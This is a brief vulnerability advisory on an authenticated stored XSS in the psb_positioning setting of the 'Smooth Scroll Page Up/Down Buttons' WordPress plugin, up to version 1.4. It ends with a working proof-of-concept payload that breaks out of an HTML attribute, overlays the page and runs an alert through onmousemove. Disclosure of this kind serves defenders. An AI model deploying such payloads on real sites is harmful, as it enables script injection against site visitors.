Smooth Scroll Page Up/Down Buttons <= 1.4 - Authenticated Stored XSS via psb_positioning

The plugin does not properly sanitise and validate its psb_positioning settings, allowing high privilege users such as admin to set an XSS payload in it, which will be executed in all pages of the blog

PoC

– [ Payloads: ] [$] m0ze" style=position:fixed!important;z-index:99999;display:flex;align-items:center;justify-content:center;width:100%;height:100%;font-size:214px;background:black;color:lime;top:0;bottom:0;left:0;right:0;overflow:visible!important; onmousemove=;alert(/XSS/); ">